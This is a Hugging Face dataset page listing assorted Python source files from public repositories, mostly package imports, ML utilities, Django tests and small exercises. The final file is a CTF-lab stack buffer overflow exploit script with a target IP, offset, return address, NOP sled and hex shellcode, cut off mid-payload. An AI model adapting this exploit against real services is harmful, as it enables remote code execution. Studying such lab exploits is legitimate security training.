xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

254d3022845aae3d1a9293a0181f060be7c09b6f

28

py

Python

pyqt/utils/__init__.py

TaoYang526/qt

81ed776c67f2df0d07d8b7e964e6a25b9271b28b

[ "Apache-2.0" ]

null

pyqt/utils/__init__.py

TaoYang526/qt

81ed776c67f2df0d07d8b7e964e6a25b9271b28b

[ "Apache-2.0" ]

null

pyqt/utils/__init__.py

TaoYang526/qt

81ed776c67f2df0d07d8b7e964e6a25b9271b28b

[ "Apache-2.0" ]

null

from pyqt.utils import time

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py

Python

src/lk_db/ents/time/EntTime.py

nuuuwan/lk_db

ac0abfa47ba31b0d4c2c8566b3101b83749bd45d

[ "MIT" ]

null

src/lk_db/ents/time/EntTime.py

nuuuwan/lk_db

ac0abfa47ba31b0d4c2c8566b3101b83749bd45d

[ "MIT" ]

null

src/lk_db/ents/time/EntTime.py

nuuuwan/lk_db

ac0abfa47ba31b0d4c2c8566b3101b83749bd45d

[ "MIT" ]

null

from lk_db.ents.Ent import Ent class EntTime(Ent): pass

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py

Python

evalml/preprocessing/data_splitters/balanced_classification_splitter.py

skvorekn/evalml

2cbfa344ec3fdc0fb0f4a0f1093811135b9b97d8

[ "BSD-3-Clause" ]

null

evalml/preprocessing/data_splitters/balanced_classification_splitter.py

skvorekn/evalml

2cbfa344ec3fdc0fb0f4a0f1093811135b9b97d8

[ "BSD-3-Clause" ]

null

evalml/preprocessing/data_splitters/balanced_classification_splitter.py

skvorekn/evalml

2cbfa344ec3fdc0fb0f4a0f1093811135b9b97d8

[ "BSD-3-Clause" ]

null

from sklearn.model_selection import StratifiedKFold from evalml.preprocessing.data_splitters.balanced_classification_sampler import ( BalancedClassificationSampler ) from evalml.preprocessing.data_splitters.base_splitters import ( BaseUnderSamplingSplitter ) from evalml.preprocessing.data_splitters.training_validation_split import ( TrainingValidationSplit ) class BalancedClassificationDataTVSplit(BaseUnderSamplingSplitter): """Data splitter for generating training and validation split using Balanced Classification Data Sampler.""" def __init__(self, balanced_ratio=4, min_samples=100, min_percentage=0.1, test_size=0.25, shuffle=True, random_seed=0): """Create Balanced Classification Data TV splitter Arguments: balanced_ratio (float): The largest majority:minority ratio that is accepted as 'balanced'. For instance, a 4:1 ratio would be represented as 4, while a 6:5 ratio is 1.2. Must be greater than or equal to 1 (or 1:1). Defaults to 4. min_samples (int): The minimum number of samples that we must have for any class, pre or post sampling. If a class must be downsampled, it will not be downsampled past this value. To determine severe imbalance, the minority class must occur less often than this and must have a class ratio below min_percentage. Must be greater than 0. Defaults to 100. min_percentage (float): The minimum percentage of the minimum class to total dataset that we tolerate, as long as it is above min_samples. If min_percentage and min_samples are not met, treat this as severely imbalanced, and we will not resample the data. Must be between 0 and 0.5, inclusive. Defaults to 0.1. test_size (float): The size of the test split. Defaults to 0.25. shuffle (bool): Whether or not to shuffle the data before splitting. Defaults to True. random_seed (int): The seed to use for random sampling. Defaults to 0. """ self.sampler = BalancedClassificationSampler(balanced_ratio=balanced_ratio, min_samples=min_samples, min_percentage=min_percentage, random_seed=random_seed) super().__init__(sampler=self.sampler, n_splits=1, random_seed=random_seed) self.shuffle = shuffle self.test_size = test_size self.balanced_ratio = balanced_ratio self.min_samples = min_samples self.min_percentage = min_percentage self.splitter = TrainingValidationSplit(test_size=test_size, shuffle=shuffle, random_seed=random_seed) class BalancedClassificationDataCVSplit(BaseUnderSamplingSplitter): """Data splitter for generating k-fold cross-validation split using Balanced Classification Data Sampler.""" def __init__(self, balanced_ratio=4, min_samples=100, min_percentage=0.1, n_splits=3, shuffle=True, random_seed=0): """Create Balanced Classification Data CV splitter Arguments: balanced_ratio (float): The largest majority:minority ratio that is accepted as 'balanced'. For instance, a 4:1 ratio would be represented as 4, while a 6:5 ratio is 1.2. Must be greater than or equal to 1 (or 1:1). Defaults to 4. min_samples (int): The minimum number of samples that we must have for any class, pre or post sampling. If a class must be downsampled, it will not be downsampled past this value. To determine severe imbalance, the minority class must occur less often than this and must have a class ratio below min_percentage. Must be greater than 0. Defaults to 100. min_percentage (float): The minimum percentage of the minimum class to total dataset that we tolerate, as long as it is above min_samples. If min_percentage and min_samples are not met, treat this as severely imbalanced, and we will not resample the data. Must be between 0 and 0.5, inclusive. Defaults to 0.1. n_splits (int): The number of splits to use for cross validation. Defaults to 3. shuffle (bool): Whether or not to shuffle the data before splitting. Defaults to True. random_seed (int): The seed to use for random sampling. Defaults to 0. """ self.sampler = BalancedClassificationSampler(balanced_ratio=balanced_ratio, min_samples=min_samples, min_percentage=min_percentage, random_seed=random_seed) super().__init__(sampler=self.sampler, n_splits=n_splits, random_seed=random_seed) self.shuffle = shuffle self.balanced_ratio = balanced_ratio self.min_samples = min_samples self.min_percentage = min_percentage self.splitter = StratifiedKFold(n_splits=n_splits, shuffle=shuffle, random_state=random_seed)

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c2bc8e02528d8ad4917cf1b72be4033e672be9ac

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py

Python

model/mscff/__init__.py

LK-Peng/CNN-based-Cloud-Detection-Methods

1393a6886e62f1ed5a612d57c5a725c763a6b2cc

[ "MIT" ]

2

2022-02-16T03:30:19.000Z

2022-03-18T08:02:39.000Z

model/mscff/__init__.py

LK-Peng/CNN-based-Cloud-Detection-Methods

1393a6886e62f1ed5a612d57c5a725c763a6b2cc

[ "MIT" ]

null

model/mscff/__init__.py

LK-Peng/CNN-based-Cloud-Detection-Methods

1393a6886e62f1ed5a612d57c5a725c763a6b2cc

[ "MIT" ]

1

2022-02-16T03:30:20.000Z

from .mscff_model import MSCFF

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py

Python

netensorflow/ann/macro_layer/layer_structure/__init__.py

psigelo/NeTensorflow

ec8bc09cc98346484d1b682a3dfd25c68c4ded61

[ "MIT" ]

null

netensorflow/ann/macro_layer/layer_structure/__init__.py

psigelo/NeTensorflow

ec8bc09cc98346484d1b682a3dfd25c68c4ded61

[ "MIT" ]

null

netensorflow/ann/macro_layer/layer_structure/__init__.py

psigelo/NeTensorflow

ec8bc09cc98346484d1b682a3dfd25c68c4ded61

[ "MIT" ]

null

from .InputLayerStructure import InputLayerStructure from .LayerStructure import LayerStructure

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py

Python

ep_ws/devel/lib/python3/dist-packages/realsense2_camera/srv/__init__.py

fsrlab/FSR_ROS_SIM

f22dfbd19ca1f2f1c7456fc51fb382509f9d7c62

[ "MIT" ]

null

ep_ws/devel/lib/python3/dist-packages/realsense2_camera/srv/__init__.py

fsrlab/FSR_ROS_SIM

f22dfbd19ca1f2f1c7456fc51fb382509f9d7c62

[ "MIT" ]

null

ep_ws/devel/lib/python3/dist-packages/realsense2_camera/srv/__init__.py

fsrlab/FSR_ROS_SIM

f22dfbd19ca1f2f1c7456fc51fb382509f9d7c62

[ "MIT" ]

null

from ._DeviceInfo import *

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6c63b62274efc319d7d5ff5ab63d36ad70596229

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py

Python

stacks/tests/test_decode_string.py

ahcode0919/python-ds-algorithms

0d617b78c50b6c18da40d9fa101438749bfc82e1

[ "MIT" ]

null

stacks/tests/test_decode_string.py

ahcode0919/python-ds-algorithms

0d617b78c50b6c18da40d9fa101438749bfc82e1

[ "MIT" ]

null

stacks/tests/test_decode_string.py

ahcode0919/python-ds-algorithms

0d617b78c50b6c18da40d9fa101438749bfc82e1

[ "MIT" ]

3

2020-10-07T20:24:45.000Z

2020-12-16T04:53:19.000Z

from stacks.decode_string import decode_string def test_decode_string(): assert decode_string("3[a]2[bc]") == "aaabcbc" assert decode_string("3[a2[c]]") == "accaccacc" assert decode_string("2[abc]3[cd]ef") == "abcabccdcdcdef"

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py

Python

app/config/task.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

2

2020-08-02T10:06:19.000Z

2022-03-29T06:10:57.000Z

app/config/task.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

null

app/config/task.py

atulmishra-one/dairy_management_portal

a07320dc0f4419d4c78f7d2453c63b1c9544aba8

[ "MIT" ]

2

2019-02-03T15:44:02.000Z

2021-03-09T07:30:28.000Z

CELERY_BROKER_URL = 'redis://localhost:6379/0' CELERY_RESULT_BACKEND = 'redis://localhost:6379/0' CELERY_IMPORTS=('app.users.tasks')

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66a65924a1e2768d7469c1f8356205da9b3cbe9a

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py

Python

project/healthcheck.py

permallotment/allotment3

0eb390086cc8f48ba6817541c6c70c06dfc83058

[ "CC0-1.0" ]

null

project/healthcheck.py

permallotment/allotment3

0eb390086cc8f48ba6817541c6c70c06dfc83058

[ "CC0-1.0" ]

null

project/healthcheck.py

permallotment/allotment3

0eb390086cc8f48ba6817541c6c70c06dfc83058

[ "CC0-1.0" ]

null

from django.http import HttpResponse def health(request): return HttpResponse("OK")

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py

Python

ui/widgets/histogram/__init__.py

berendkleinhaneveld/Registrationshop

0d6f3ee5324865cdcb419369139f37c39dfe9a1c

[ "MIT" ]

25

2015-11-08T16:36:54.000Z

2022-01-20T16:03:28.000Z

ui/widgets/histogram/__init__.py

berendkleinhaneveld/Registrationshop

0d6f3ee5324865cdcb419369139f37c39dfe9a1c

[ "MIT" ]

2

2016-12-01T23:13:08.000Z

2017-07-25T02:40:49.000Z

ui/widgets/histogram/__init__.py

berendkleinhaneveld/Registrationshop

0d6f3ee5324865cdcb419369139f37c39dfe9a1c

[ "MIT" ]

10

2016-07-05T14:39:16.000Z

2022-01-01T02:05:55.000Z

from Histogram import Histogram from HistogramWidget import HistogramWidget from TrackingHistogramWidget import TrackingHistogramWidget

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dd19eb06c6b535902edc1e166510cf7dc3e3ac06

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py

Python

src/aequitas/plot/__init__.py

antoinelb/aequitas

5a912a3c1751b04c8688ad9e0c09ed87a6c48870

[ "MIT" ]

469

2018-04-24T23:11:45.000Z

2022-03-29T07:54:07.000Z

src/aequitas/plot/__init__.py

antoinelb/aequitas

5a912a3c1751b04c8688ad9e0c09ed87a6c48870

[ "MIT" ]

62

2018-04-16T00:14:56.000Z

2021-11-12T10:35:01.000Z

src/aequitas/plot/__init__.py

antoinelb/aequitas

5a912a3c1751b04c8688ad9e0c09ed87a6c48870

[ "MIT" ]

94

2018-05-21T16:13:57.000Z

2022-03-25T20:07:25.000Z

from aequitas.plot.summary_chart import plot_summary_chart as summary from aequitas.plot.bubble_disparity_chart import plot_disparity_bubble_chart as disparity from aequitas.plot.bubble_metric_chart import plot_metric_bubble_chart as absolute from aequitas.plot.bubble_concatenation_chart import plot_concatenated_bubble_charts as disparity_absolute from aequitas.plot.xy_metrics_chart import plot_xy_metrics_chart as scatter

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py

Python

ppq/utils/__init__.py

openppl-public/ppq

0fdea7d4982bc57feb6bb8548c7f012707fbd607

[ "Apache-2.0" ]

100

2021-12-31T09:34:06.000Z

2022-03-25T02:54:51.000Z

ppq/utils/__init__.py

openppl-public/ppq

0fdea7d4982bc57feb6bb8548c7f012707fbd607

[ "Apache-2.0" ]

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2021-12-31T10:28:15.000Z

2022-03-31T07:08:44.000Z

ppq/utils/__init__.py

openppl-public/ppq

0fdea7d4982bc57feb6bb8548c7f012707fbd607

[ "Apache-2.0" ]

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2021-12-31T09:51:02.000Z

2022-03-30T12:21:55.000Z

from .attribute import process_attribute

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py

Python

backend/users/schema.py

DDoS000/Event_Registers

84a77d0914333ee830a72e2d31fa5374f70dea35

[ "MIT" ]

null

backend/users/schema.py

DDoS000/Event_Registers

84a77d0914333ee830a72e2d31fa5374f70dea35

[ "MIT" ]

null

backend/users/schema.py

DDoS000/Event_Registers

84a77d0914333ee830a72e2d31fa5374f70dea35

[ "MIT" ]

null

from pydantic import BaseModel class UserUpdate(BaseModel): fullname: str class ChangePassword(BaseModel): current_password: str new_password: str confirm_password: str

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662b2a0d020eee523039d18045fe01c4d90be8ba

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py

Python

psi/serialize/__init__.py

delta-mpc/python-psi

1665de12a713b37abd889268c66de84cddb1bf84

[ "Apache-2.0" ]

35

2021-05-28T10:03:09.000Z

2022-03-24T12:08:19.000Z

psi/serialize/__init__.py

delta-mpc/python-psi

1665de12a713b37abd889268c66de84cddb1bf84

[ "Apache-2.0" ]

9

2021-07-15T09:16:34.000Z

2022-03-31T03:59:16.000Z

psi/serialize/__init__.py

delta-mpc/python-psi

1665de12a713b37abd889268c66de84cddb1bf84

[ "Apache-2.0" ]

16

2021-06-18T02:18:56.000Z

2022-03-25T02:43:48.000Z

from .bit_arr import * from .ecc import * from .int import *

15.25

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py

Python

DeepChecker/__init__.py

Fixy-TR/DeepChecker

99bf6e133890aa44711536723ad9acf16314830d

[ "MIT" ]

21

2020-08-05T20:52:35.000Z

2022-02-18T19:27:21.000Z

DeepChecker/__init__.py

umitylmz/DeepChecker

99bf6e133890aa44711536723ad9acf16314830d

[ "MIT" ]

null

DeepChecker/__init__.py

umitylmz/DeepChecker

99bf6e133890aa44711536723ad9acf16314830d

[ "MIT" ]

6

2020-08-05T14:17:12.000Z

2022-03-03T05:52:28.000Z

from DeepChecker.Checkers import *

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py

Python

1101-1200/1163-Distribute Candies/1163-Distribute Candies.py

jiadaizhao/LintCode

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

77

2017-12-30T13:33:37.000Z

2022-01-16T23:47:08.000Z

1101-1200/1163-Distribute Candies/1163-Distribute Candies.py

jxhangithub/LintCode-1

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

1

2018-05-14T14:15:40.000Z

1101-1200/1163-Distribute Candies/1163-Distribute Candies.py

jxhangithub/LintCode-1

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

39

2017-12-07T14:36:25.000Z

2022-03-10T23:05:37.000Z

class Solution: """ @param candies: a list of integers @return: return a integer """ def distributeCandies(self, candies): # write your code here return min(len(set(candies)), len(candies) // 2)

25.666667

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1

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1

0

6

66542479cdedfadc3cc79ca36adbd5a5951278b3

43

py

Python

tests/test_MBS/__init__.py

bigdata-ustc/EduSim

849eed229c24615e5f2c3045036311e83c22ea68

[ "MIT" ]

18

2019-11-11T03:45:35.000Z

2022-02-09T15:31:51.000Z

tests/test_MBS/__init__.py

ghzhao78506/EduSim

cb10e952eb212d8a9344143f889207b5cd48ba9d

[ "MIT" ]

3

2020-10-23T01:05:57.000Z

2021-03-16T12:12:24.000Z

tests/test_MBS/__init__.py

bigdata-ustc/EduSim

849eed229c24615e5f2c3045036311e83c22ea68

[ "MIT" ]

6

2020-06-09T21:32:00.000Z

2022-03-12T00:25:18.000Z

# coding: utf-8 # 2021/03/12 @ zhaoguanhao

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6

b08a93c2485c9207b162b22abf4d7cb7a8947024

173

py

Python

bitwise/logic/__init__.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

bitwise/logic/__init__.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

bitwise/logic/__init__.py

jamesjiang52/Bitwise

c71f151d23034b3f9e2a939f637be0eaa16c45c3

[ "MIT" ]

null

from .AND import * from .COMP import * from .NAND import * from .NOR import * from .NOT import * from .OR import * from .PAR import * from .XNOR import * from .XOR import *

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7c0a7ee8a1d12afb4a736f3531f18c61cfd4058f

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py

Python

mr/request.py

chiselko6/MapReduce

dde409525b1fa121fd5ecefafc13414032c01f1c

[ "MIT" ]

1

2021-03-11T22:18:56.000Z

mr/request.py

chiselko6/MapReduce

dde409525b1fa121fd5ecefafc13414032c01f1c

[ "MIT" ]

null

mr/request.py

chiselko6/MapReduce

dde409525b1fa121fd5ecefafc13414032c01f1c

[ "MIT" ]

null

def is_success(code): return code == 'ok' def is_error_code(code): return code == 'ERROR'

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null

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6

b0433121aa8bbd1327d3221055a476dfcaf07db3

136

py

Python

case3/test_calc.py

emre/unit-test-workshop

6a323dd7ffac08e7aa56e09d307798d4ae984fa9

[ "MIT" ]

1

2017-11-20T18:15:12.000Z

case3/test_calc.py

emre/unit-test-workshop

6a323dd7ffac08e7aa56e09d307798d4ae984fa9

[ "MIT" ]

null

case3/test_calc.py

emre/unit-test-workshop

6a323dd7ffac08e7aa56e09d307798d4ae984fa9

[ "MIT" ]

null

import unittest # https://docs.python.org/3/library/unittest.html from calc import Calc class TestCalc(unittest.TestCase): pass

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136

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null

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6

c68a6d8f407663035b0e8aaa5e7a9d1c6021d7ca

11,082

py

Python

app/tests/evaluation_tests/test_views.py

njmhendrix/grand-challenge.org

9bc36f5e26561a78bd405e8ea5e4c0f86c95f011

[ "Apache-2.0" ]

null

app/tests/evaluation_tests/test_views.py

njmhendrix/grand-challenge.org

9bc36f5e26561a78bd405e8ea5e4c0f86c95f011

[ "Apache-2.0" ]

null

app/tests/evaluation_tests/test_views.py

njmhendrix/grand-challenge.org

9bc36f5e26561a78bd405e8ea5e4c0f86c95f011

[ "Apache-2.0" ]

null

from collections import namedtuple from datetime import timedelta import factory import pytest from django.db.models import signals from django.utils import timezone from tests.factories import ( EvaluationFactory, MethodFactory, SubmissionFactory, ) from tests.utils import ( get_view_for_user, validate_admin_only_view, validate_admin_or_participant_view, validate_open_view, ) def submission_and_evaluation(*, challenge, creator): """Creates a submission and an evaluation for that submission.""" s = SubmissionFactory(challenge=challenge, creator=creator) e = EvaluationFactory(submission=s) return s, e def submissions_and_evaluations(two_challenge_sets): """ Create (e)valuations and (s)ubmissions for each (p)articipant and (c)hallenge. """ SubmissionsAndEvaluations = namedtuple( "SubmissionsAndEvaluations", [ "p_s1", "p_s2", "p1_s1", "p12_s1_c1", "p12_s1_c2", "e_p_s1", "e_p_s2", "e_p1_s1", "e_p12_s1_c1", "e_p12_s1_c2", ], ) # participant 0, submission 1, challenge 1, etc p_s1, e_p_s1 = submission_and_evaluation( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) p_s2, e_p_s2 = submission_and_evaluation( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) p1_s1, e_p1_s1 = submission_and_evaluation( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant1, ) # participant12, submission 1 to each challenge p12_s1_c1, e_p12_s1_c1 = submission_and_evaluation( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.participant12, ) p12_s1_c2, e_p12_s1_c2 = submission_and_evaluation( challenge=two_challenge_sets.challenge_set_2.challenge, creator=two_challenge_sets.participant12, ) return SubmissionsAndEvaluations( p_s1, p_s2, p1_s1, p12_s1_c1, p12_s1_c2, e_p_s1, e_p_s2, e_p1_s1, e_p12_s1_c1, e_p12_s1_c2, ) @pytest.mark.django_db def test_method_list(client, two_challenge_sets): validate_admin_only_view( viewname="evaluation:method-list", two_challenge_set=two_challenge_sets, client=client, ) @pytest.mark.django_db def test_method_create(client, two_challenge_sets): validate_admin_only_view( viewname="evaluation:method-create", two_challenge_set=two_challenge_sets, client=client, ) @pytest.mark.django_db def test_method_detail(client, two_challenge_sets): method = MethodFactory( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.admin, ) validate_admin_only_view( viewname="evaluation:method-detail", two_challenge_set=two_challenge_sets, reverse_kwargs={"pk": method.pk}, client=client, ) @pytest.mark.django_db @factory.django.mute_signals(signals.post_save) def test_submission_list(client, two_challenge_sets): validate_admin_or_participant_view( viewname="evaluation:submission-list", two_challenge_set=two_challenge_sets, client=client, ) p_s1, p_s2, p1_s1, p12_s1_c1, p12_s1_c2, *_ = submissions_and_evaluations( two_challenge_sets ) # Participants should only be able to see their own submissions response = get_view_for_user( viewname="evaluation:submission-list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.challenge_set_1.participant, ) assert str(p_s1.pk) in response.rendered_content assert str(p_s2.pk) in response.rendered_content assert str(p1_s1.pk) not in response.rendered_content assert str(p12_s1_c1.pk) not in response.rendered_content assert str(p12_s1_c2.pk) not in response.rendered_content # Admins should be able to see all submissions response = get_view_for_user( viewname="evaluation:submission-list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.challenge_set_1.admin, ) assert str(p_s1.pk) in response.rendered_content assert str(p_s2.pk) in response.rendered_content assert str(p1_s1.pk) in response.rendered_content assert str(p12_s1_c1.pk) in response.rendered_content assert str(p12_s1_c2.pk) not in response.rendered_content # Only submissions relevant to this challenge should be listed response = get_view_for_user( viewname="evaluation:submission-list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.participant12, ) assert str(p12_s1_c1.pk) in response.rendered_content assert str(p12_s1_c2.pk) not in response.rendered_content assert str(p_s1.pk) not in response.rendered_content assert str(p_s2.pk) not in response.rendered_content assert str(p1_s1.pk) not in response.rendered_content @pytest.mark.django_db def test_submission_create(client, two_challenge_sets): validate_admin_or_participant_view( viewname="evaluation:submission-create", two_challenge_set=two_challenge_sets, client=client, ) response = get_view_for_user( viewname="evaluation:submission-create", challenge=two_challenge_sets.challenge_set_1.challenge, user=two_challenge_sets.challenge_set_1.participant, client=client, ) assert response.status_code == 200 assert "Creator" not in response.rendered_content @pytest.mark.django_db def test_legacy_submission_create(client, two_challenge_sets): validate_admin_only_view( viewname="evaluation:submission-create-legacy", two_challenge_set=two_challenge_sets, client=client, ) response = get_view_for_user( viewname="evaluation:submission-create-legacy", challenge=two_challenge_sets.challenge_set_1.challenge, user=two_challenge_sets.admin12, client=client, ) assert response.status_code == 200 assert "Creator" in response.rendered_content @pytest.mark.django_db def test_submission_time_limit(client, two_challenge_sets): SubmissionFactory( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) def get_submission_view(): return get_view_for_user( viewname="evaluation:submission-create", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.challenge_set_1.participant, ) assert "make 9 more" in get_submission_view().rendered_content s = SubmissionFactory( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) s.created = timezone.now() - timedelta(hours=23) s.save() assert "make 8 more" in get_submission_view().rendered_content s = SubmissionFactory( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) s.created = timezone.now() - timedelta(hours=25) s.save() assert "make 8 more" in get_submission_view().rendered_content @pytest.mark.django_db def test_submission_detail(client, two_challenge_sets): submission = SubmissionFactory( challenge=two_challenge_sets.challenge_set_1.challenge, creator=two_challenge_sets.challenge_set_1.participant, ) validate_admin_only_view( viewname="evaluation:submission-detail", two_challenge_set=two_challenge_sets, reverse_kwargs={"pk": submission.pk}, client=client, ) @pytest.mark.django_db @factory.django.mute_signals(signals.post_save) def test_evaluation_list(client, two_challenge_sets): validate_admin_or_participant_view( viewname="evaluation:list", two_challenge_set=two_challenge_sets, client=client, ) ( *_, e_p_s1, e_p_s2, e_p1_s1, e_p12_s1_c1, e_p12_s1_c2, ) = submissions_and_evaluations(two_challenge_sets) # Participants should only be able to see their own evaluations response = get_view_for_user( viewname="evaluation:list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.challenge_set_1.participant, ) assert str(e_p_s1.pk) in response.rendered_content assert str(e_p_s2.pk) in response.rendered_content assert str(e_p1_s1.pk) not in response.rendered_content assert str(e_p12_s1_c1.pk) not in response.rendered_content assert str(e_p12_s1_c2.pk) not in response.rendered_content # Admins should be able to see all evaluations response = get_view_for_user( viewname="evaluation:list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.challenge_set_1.admin, ) assert str(e_p_s1.pk) in response.rendered_content assert str(e_p_s2.pk) in response.rendered_content assert str(e_p1_s1.pk) in response.rendered_content assert str(e_p12_s1_c1.pk) in response.rendered_content assert str(e_p12_s1_c2.pk) not in response.rendered_content # Only evaluations relevant to this challenge should be listed response = get_view_for_user( viewname="evaluation:list", challenge=two_challenge_sets.challenge_set_1.challenge, client=client, user=two_challenge_sets.participant12, ) assert str(e_p12_s1_c1.pk) in response.rendered_content assert str(e_p12_s1_c2.pk) not in response.rendered_content assert str(e_p_s1.pk) not in response.rendered_content assert str(e_p_s2.pk) not in response.rendered_content assert str(e_p1_s1.pk) not in response.rendered_content @pytest.mark.django_db def test_leaderboard(client, eval_challenge_set): validate_open_view( viewname="evaluation:leaderboard", challenge_set=eval_challenge_set.challenge_set, client=client, ) # TODO: test that private results cannot be seen @pytest.mark.django_db def test_evaluation_detail(client, eval_challenge_set): submission = SubmissionFactory( challenge=eval_challenge_set.challenge_set.challenge, creator=eval_challenge_set.challenge_set.participant, ) e = EvaluationFactory(submission=submission) validate_open_view( viewname="evaluation:detail", challenge_set=eval_challenge_set.challenge_set, reverse_kwargs={"pk": e.pk}, client=client, )

33.889908

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0.089928

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null

0

1

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null

0

6

c691c92322330bef3cb93860c43c284649dcb60d

120

py

Python

cronicl/tracers/__init__.py

joocer/cronicl

5ab215554939699683752cb7b8549756edff9ea5

[ "Apache-2.0" ]

null

cronicl/tracers/__init__.py

joocer/cronicl

5ab215554939699683752cb7b8549756edff9ea5

[ "Apache-2.0" ]

73

2020-10-05T21:00:48.000Z

2020-11-16T23:29:41.000Z

cronicl/tracers/__init__.py

joocer/cronicl

5ab215554939699683752cb7b8549756edff9ea5

[ "Apache-2.0" ]

null

from .file_tracer import FileTracer from .null_tracer import NullTracer from .base_tracer import BaseTracer, get_tracer

30

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120

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0

6

c6cc6e291c2d423fccb4a28cc69ba02ced719b37

186

py

Python

Python_Files/murach/solutions/ch14/movies/objects.py

Interloper2448/BCGPortfolio

c4c160a835c64c8d099d44c0995197f806ccc824

[ "MIT" ]

null

Python_Files/murach/solutions/ch14/movies/objects.py

Interloper2448/BCGPortfolio

c4c160a835c64c8d099d44c0995197f806ccc824

[ "MIT" ]

null

Python_Files/murach/solutions/ch14/movies/objects.py

Interloper2448/BCGPortfolio

c4c160a835c64c8d099d44c0995197f806ccc824

[ "MIT" ]

null

class Movie: def __init__(self, name="", year=1901): self.name = name self.year = year def getStr(self): return self.name + " (" + str(self.year) + ")"

23.25

55

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4.130435

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0.031008

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7

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1

0

null

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1

0

1

0

6

05e70bf4fcafed340bac69f51837c437a43b38d8

93

py

Python

utensor_cgen/backend/utensor/code_generator/__init__.py

uTensor/utensor_cgen

eccd6859028d0b6a350dced25ea72ff02faaf9ad

[ "Apache-2.0" ]

49

2018-01-06T12:57:56.000Z

2021-09-03T09:48:32.000Z

utensor_cgen/backend/utensor/code_generator/__init__.py

uTensor/utensor_cgen

eccd6859028d0b6a350dced25ea72ff02faaf9ad

[ "Apache-2.0" ]

101

2018-01-16T19:24:21.000Z

2021-11-10T19:39:33.000Z

utensor_cgen/backend/utensor/code_generator/__init__.py

uTensor/utensor_cgen

eccd6859028d0b6a350dced25ea72ff02faaf9ad

[ "Apache-2.0" ]

32

2018-02-15T19:39:50.000Z

2020-11-26T22:32:05.000Z

from .legacy import uTensorLegacyCodeGenerator from .rearch import uTensorRearchCodeGenerator

46.5

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0

1

0

1

0

1

0

6

af19bd3d785d56642d7b3f0a837d7edbf7bf7261

1,975

py

Python

Stack-Based-BOF/THM-BOF-1/exploit.py

Rob-VanDusen/ctf-notes

c88dc7597bca1bcda88d5ef07f38dcb50b89be59

[ "CC0-1.0" ]

null

Stack-Based-BOF/THM-BOF-1/exploit.py

Rob-VanDusen/ctf-notes

c88dc7597bca1bcda88d5ef07f38dcb50b89be59

[ "CC0-1.0" ]

null

Stack-Based-BOF/THM-BOF-1/exploit.py

Rob-VanDusen/ctf-notes

c88dc7597bca1bcda88d5ef07f38dcb50b89be59

[ "CC0-1.0" ]

null

#!/usr/bin/env python3 import socket ip = "10.10.16.223" port = 1337 prefix = "OVERFLOW1 " offset = 1978 overflow = "A" * offset retn = "\xaf\x11\x50\x62" # 625011AF padding = "\x90" * 16 payload = ("\xbe\x13\xbf\x94\xb6\xdb\xd7\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x52\x83\xe8\xfc\x31\x70\x0e\x03\x63\xb1\x76\x43\x7f\x25\xf4" "\xac\x7f\xb6\x99\x25\x9a\x87\x99\x52\xef\xb8\x29\x10\xbd\x34" "\xc1\x74\x55\xce\xa7\x50\x5a\x67\x0d\x87\x55\x78\x3e\xfb\xf4" "\xfa\x3d\x28\xd6\xc3\x8d\x3d\x17\x03\xf3\xcc\x45\xdc\x7f\x62" "\x79\x69\x35\xbf\xf2\x21\xdb\xc7\xe7\xf2\xda\xe6\xb6\x89\x84" "\x28\x39\x5d\xbd\x60\x21\x82\xf8\x3b\xda\x70\x76\xba\x0a\x49" "\x77\x11\x73\x65\x8a\x6b\xb4\x42\x75\x1e\xcc\xb0\x08\x19\x0b" "\xca\xd6\xac\x8f\x6c\x9c\x17\x6b\x8c\x71\xc1\xf8\x82\x3e\x85" "\xa6\x86\xc1\x4a\xdd\xb3\x4a\x6d\x31\x32\x08\x4a\x95\x1e\xca" "\xf3\x8c\xfa\xbd\x0c\xce\xa4\x62\xa9\x85\x49\x76\xc0\xc4\x05" "\xbb\xe9\xf6\xd5\xd3\x7a\x85\xe7\x7c\xd1\x01\x44\xf4\xff\xd6" "\xab\x2f\x47\x48\x52\xd0\xb8\x41\x91\x84\xe8\xf9\x30\xa5\x62" "\xf9\xbd\x70\x24\xa9\x11\x2b\x85\x19\xd2\x9b\x6d\x73\xdd\xc4" "\x8e\x7c\x37\x6d\x24\x87\xd0\x98\xbd\xaf\xf8\xf5\xbf\xaf\xe9" "\x59\x49\x49\x63\x72\x1f\xc2\x1c\xeb\x3a\x98\xbd\xf4\x90\xe5" "\xfe\x7f\x17\x1a\xb0\x77\x52\x08\x25\x78\x29\x72\xe0\x87\x87" "\x1a\x6e\x15\x4c\xda\xf9\x06\xdb\x8d\xae\xf9\x12\x5b\x43\xa3" "\x8c\x79\x9e\x35\xf6\x39\x45\x86\xf9\xc0\x08\xb2\xdd\xd2\xd4" 